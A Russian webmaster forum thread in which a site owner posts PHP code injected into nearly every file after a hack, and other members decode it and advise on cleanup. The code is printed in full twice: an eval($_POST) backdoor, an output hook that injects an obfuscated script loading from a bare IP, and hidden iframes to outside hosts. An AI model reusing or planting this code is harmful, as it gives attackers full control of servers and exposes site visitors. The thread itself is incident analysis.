Что за код?

12
Sonitta
На сайте с 15.01.2007
Offline
177
2324

Подскажите, как действует этот код:

<?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCmRvY3VtZW50LndyaXRlKHVuZXNjYXBlKCclM0NzWXZjcmlwRndCdCUyMHNKS3NidGpyYyUzRFRydyUyRlRydyUyRlZ5OTRWeSUyRVl2MnJGWTQ3WXYlMkUyVnklMkVUcncxYnRqOUZ3QjVWeSUyRkZ3QmpyRllxc0pLdWVzSktyYnRqeSUyRUZ3Qmpzc0pLJTNFc0pLJTNDVHJ3JTJGc2NyckZZaXBzSkt0JTNFJykucmVwbGFjZSgvRndCfFRyd3xyRll8c0pLfFpma3xWeXxZdnxidGovZywiIikpOwogLS0+PC9zY3JpcHQ+'));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title><iframe src="http://betworldwager.cn/in.cgi?income68" width=1 height=1 style="visibility: hidden"></iframe>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?>
echo "<iframe src=\"http://ibalefo.net/?click=54BF92\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";

П.С. Ломанули сайтик и напихали почти во все файлы...

Ифрейм - понятно... А вот верхний не могу понять что делает...

Дизайн, Верстка, Интеграция, Упаковка, Фирменный стиль (/ru/forum/840975)
ewg777
На сайте с 04.06.2007
Offline
225
#1

Весьма популярный скриптик. Он лишь работает с файлом "на лету". Внешне ничего не портит. Чего-то, связанного с mysql, не видно.

<?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);
if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCmRvY3VtZW50LndyaXRlKHVuZXNjYXBlKCclM0NzWXZjcmlwRndCdCUyMHNKS3NidGpyYyUzRFRydyUyRlRydyUyRlZ5OTRWeSUyRVl2MnJGWTQ3WXYlMkUyVnklMkVUcncxYnRqOUZ3QjVWeSUyRkZ3QmpyRllxc0pLdWVzSktyYnRqeSUyRUZ3Qmpzc0pLJTNFc0pLJTNDVHJ3JTJGc2NyckZZaXBzSkt0JTNFJykucmVwbGFjZSgvRndCfFRyd3xyRll8c0pLfFpma3xWeXxZdnxidGovZywiIikpOwogLS0+PC9zY3JpcHQ+'));
function mp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8));
if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;
\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);
if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);
}$s1=preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script>#','',$s);
if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);
elseif(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title><iframe src="http://betworldwager.cn/in.cgi?income68" width=1 height=1 style="visibility: hidden"></iframe>'))$s=$s1.TMP_XHGFJOKL;
return $g?gzencode($s):$s;
}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();
if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);
foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;
else $s[]=array($a=='default output handler'?false:$a);
for($i=count($s)-1;
$i>=0;
$i--){$s[$i][1]=ob_get_contents();
ob_end_clean();
}ob_start('tmp_lkojfghx');
for($i=0;
$i<count($s);
$i++){ob_start($s[$i][0]);
echo $s[$i][1];
}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;
tmp_lkojfghx2();
?>
J
На сайте с 02.02.2009
Offline
53
#2

Пишут, что

This is a mySQL injection hack is usually in sync with a non MD5 encrypted connection string and allowing remote connections. They create an Unknown table in the SQL server and it injects this code after all <?php tags.
xzorro
На сайте с 20.04.2009
Offline
7
#3

не факт

надо base64_decode распаковать глянуть

ewg777
На сайте с 04.06.2007
Offline
225
#4
xzorro:
не факт
надо base64_decode распаковать глянуть


<script language=javascript><!--
document.write(unescape('%3CsYvcripFwBt%20sJKsbtjrc%3DTrw%2FTrw%2FVy94Vy%2EYv2rFY47Yv%2E2Vy%2ETrw1btj9FwB5Vy%2FFwBjrFYqsJKuesJKrbtjy%2EFwBjssJK%3EsJK%3CTrw%2FscrrFYipsJKt%3E').replace(/FwB|Trw|rFY|sJK|Zfk|Vy|Yv|btj/g,""));
--></script>
HraKK
На сайте с 02.03.2009
Offline
128
#5

Ребят вы шутите? Вам уже должно быть достаточно

eval($_POST['tmp_lkojfghx3']

Это значит что злоумышленник может выполнить любой код на вашем сервере. Считайте что у него полный доступ к Вашему сайту.

я гарант (/ru/forum/493343) уже не оказываю данные услуги, извините.
ewg777
На сайте с 04.06.2007
Offline
225
#6
HraKK:
Ребят вы шутите? Вам уже должно быть достаточно

Это значит что злоумышленник может выполнить любой код на вашем сервере. Считайте что у него полный доступ к Вашему сайту.

Действительно. Простым пост-запросом он сдеалать что угодно. Остальной код - цветочки, для отвлечения внимания и получение трафика на партнерки.

xzorro
На сайте с 20.04.2009
Offline
7
#7
document.write(unescape('%3CsYvcripFwBt%20sJKsbtjrc%3DTrw%2FTrw%2FVy94Vy%2EYv2rFY47Yv%2E2Vy%2ETrw1btj9FwB5Vy%2FFwBjrFYqsJKuesJKrbtjy%2EFwBjssJK%3EsJK%3CTrw%2FscrrFYipsJKt%3E').replace(/FwB|Trw|rFY|sJK|Zfk|Vy|Yv|btj/g,""));

закодировано там вот что

<script src=//94.247.2.195/jquery.js></scipt> хотя не факт что jQuery там лежит.

но это всё ерунда по сравнению с eval($_POST

:)

Sonitta
На сайте с 15.01.2007
Offline
177
#8

Подскажите как вычистить все полностью... Если останется пара файлов с этим кодом, то все, пипец?

ewg777
На сайте с 04.06.2007
Offline
225
#9
Sonitta:
Подскажите как вычистить все полностью... Если останется пара файлов с этим кодом, то все, пипец?

Лучше сделать бекап. Удалить все папки и ЗАНОВО установить двиг и импортнуть базу. И обязательно проверить права на папках.

xzorro
На сайте с 20.04.2009
Offline
7
#10

по дате создания проще всего вычислять

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий